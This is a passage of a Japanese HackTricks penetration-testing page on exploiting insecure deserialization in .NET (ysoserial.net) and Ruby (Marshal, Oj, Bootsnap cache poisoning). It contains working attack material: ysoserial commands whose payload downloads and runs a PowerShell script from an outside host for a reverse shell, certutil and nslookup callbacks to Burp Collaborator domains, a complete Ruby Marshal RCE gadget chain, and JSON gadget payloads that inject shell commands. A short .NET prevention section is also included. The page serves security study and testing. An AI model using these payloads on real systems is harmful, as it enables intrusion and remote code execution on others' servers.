JavaScriptTypeResolver
ユーザー制御下の変数によってタイプを決定できるシリアライザーに焦点を当てるべきです。
ブラックボックス
検索は、Base64エンコードされた文字列AAEAAAD/////またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、TypeObject
や$type
を含むがこれに限定されないJSONまたはXML構造が含まれる可能性があります。
ysoserial.net
この場合、ツールysoserial.netを使用してデシリアライズの悪用を作成することができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用してツールをコンパイルする必要があります。
ysoserial.netがどのように悪用を作成するかについて学びたい場合は、ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください。
ysoserial.netの主なオプションは、--gadget
、--formatter
、--output
、および**--plugin
**です。
- **
--gadget
**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。 - **
--formatter
**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。 --output
は、悪用を生またはbase64エンコードされた形式で取得したいかどうかを示すために使用されます。注意してください、ysoserial.netはペイロードをUTF-16LE(Windowsでデフォルトで使用されるエンコーディング)を使用してエンコードしますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しないエンコーディングの互換性の問題が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。--plugin
ysoserial.netは、ViewStateのような特定のフレームワーク用の悪用を作成するためのプラグインをサポートしています。
追加のysoserial.netパラメータ
--minify
は小さいペイロードを提供します(可能な場合)。--raf -f Json.Net -c "anything"
これは、提供されたフォーマッタ(この場合はJson.Net
)で使用できるすべてのガジェットを示します。--sf xml
はガジェット(-g
)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。
ysoserialの例を使用して悪用を作成します:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ 非常に興味深いパラメータ があります: --test
このパラメータを指定すると、ysoserial.net は ローカルでエクスプロイトを試みる ので、ペイロードが正しく機能するかどうかをテストできます。
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
これは、エクスプロイトをテストするために、コードが serializersHelper.JsonNet_deserialize を呼び出すことを意味します。
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the 前のコードは作成されたエクスプロイトに脆弱です。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。
そのため、--test
パラメータは、どのコードのチャンクがysoserial.netによって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。
ViewState
.Netの__ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください 任意のコードを実行するために。 もしあなたが被害者のマシンで使用されている秘密をすでに知っているなら、コードを実行する方法を知るためにこの投稿を読んでください。**
Prevention
デシリアライズに関連するリスクを軽減するために、.Netで:
- データストリームにオブジェクトタイプを定義させないようにします。 可能な場合は
DataContractSerializer
またはXmlSerializer
を利用してください。 JSON.Net
の場合、TypeNameHandling
をNone
に設定します: %%%TypeNameHandling = TypeNameHandling.None%%%JavaScriptSerializer
をJavaScriptTypeResolver
と一緒に使用しないでください。- デシリアライズ可能なタイプを制限し、
System.IO.FileInfo
のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。 - リスクのあるプロパティを持つタイプに注意してください。 例えば、
System.ComponentModel.DataAnnotations.ValidationException
のValue
プロパティは悪用される可能性があります。 - 攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、
DataContractSerializer
やXmlSerializer
でさえ脆弱になります。 BinaryFormatter
とJSON.Net
のためにカスタムSerializationBinder
を使用してホワイトリスト制御を実装します。- .Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。
- インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、
System.Windows.Data.ObjectDataProvider
のような既知のガジェットを信頼できないデータソースにさらさないようにします。
References
- Javaと.NetのJSONデシリアライズに関する論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**、**トーク: https://www.youtube.com/watch?v=oUAeWhW5b8c およびスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Rubyでは、シリアル化はmarshalライブラリ内の2つのメソッドによって行われます。最初のメソッドはdumpとして知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドloadは、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
他のRCEチェーンを利用してRuby On Railsを攻撃する: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() メソッド
この脆弱性レポートで説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの.send()
メソッドに到達すると、このメソッドはオブジェクトの任意の他のメソッドを任意のパラメータで呼び出すことを可能にします。
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
<Object>.send('eval', '<user input with Ruby code>') == RCE
さらに、.send()
のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、引数を必要としないか、デフォルト値を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。
これを実現するために、その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙することが可能です。
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Rubyクラス汚染
ここでRubyクラスを汚染し、悪用する方法を確認してください。
Ruby _json汚染
ボディにハッシュ化できない値(配列など)を送信すると、それらは新しいキー_json
に追加されます。しかし、攻撃者はボディに任意の値を持つ_json
という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後_json
パラメータを使用して何らかのアクションを実行する場合、認可バイパスが行われる可能性があります。
Ruby _json汚染ページで詳細情報を確認してください。
その他のライブラリ
この技術はこのブログ記事から取得されました。
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、これらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
ライブラリ | 入力データ | クラス内のキックオフメソッド |
Marshal (Ruby) | バイナリ | _load |
Oj | JSON | hash (クラスはハッシュ(マップ)にキーとして入れる必要があります) |
Ox | XML | hash (クラスはハッシュ(マップ)にキーとして入れる必要があります) |
Psych (Ruby) | YAML | hash (クラスはハッシュ(マップ)にキーとして入れる必要があります)init_with |
JSON (Ruby) | JSON | json_create ([json_createに関するノートを最後に参照](#table-vulnerable-sinks)) |
基本的な例:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Ojを悪用しようとした場合、hash
関数内でto_s
を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
さらに、前述の技術を使用すると、システムにフォルダーが作成されることがわかりました。これは、別のガジェットを悪用してこれを完全なRCEに変換するための要件です。
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
元の投稿の詳細を確認してください。
ブートストラップキャッシング
実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用して、任意のファイル書き込みからRailsアプリケーションでRCEを取得するための素晴らしいトリックです(完全な元の投稿はこちらで見つけてください)。
以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するための記事で詳述された手順の短い要約です:
- 脆弱性と環境の特定
Railsアプリのファイルアップロード機能は、攻撃者が任意にファイルを書き込むことを許可します。アプリは制限付きで実行されます(Dockerの非ルートユーザーのため、tmpのような特定のディレクトリのみが書き込み可能)が、これによりBootsnapキャッシュディレクトリ(通常はtmp/cache/bootsnapの下)への書き込みが可能になります。
- Bootsnapのキャッシュメカニズムの理解
Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーは、アプリの起動時にキャッシュを検証するために使用されます。
- ファイルメタデータの収集
攻撃者は、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を最初に選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、compile_optionなど)を抽出します。このデータは、有効なキャッシュキーを作成するために不可欠です。
- キャッシュファイルパスの計算
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例:tmp/cache/bootsnap/compile-cache-iseq/の下)に正確に配置されることが保証されます。
- 悪意のあるキャッシュファイルの作成
攻撃者は、以下のことを行うペイロードを準備します:
- 任意のコマンドを実行する(例えば、プロセス情報を表示するためにidを実行)。
- 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除。
- アプリケーションがクラッシュしないように元のファイル(例:set.rb)を読み込む。
このペイロードは、バイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。
- 上書きと実行のトリガー 任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(tmp/restart.txtに書き込むことで、Pumaによって監視されています)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。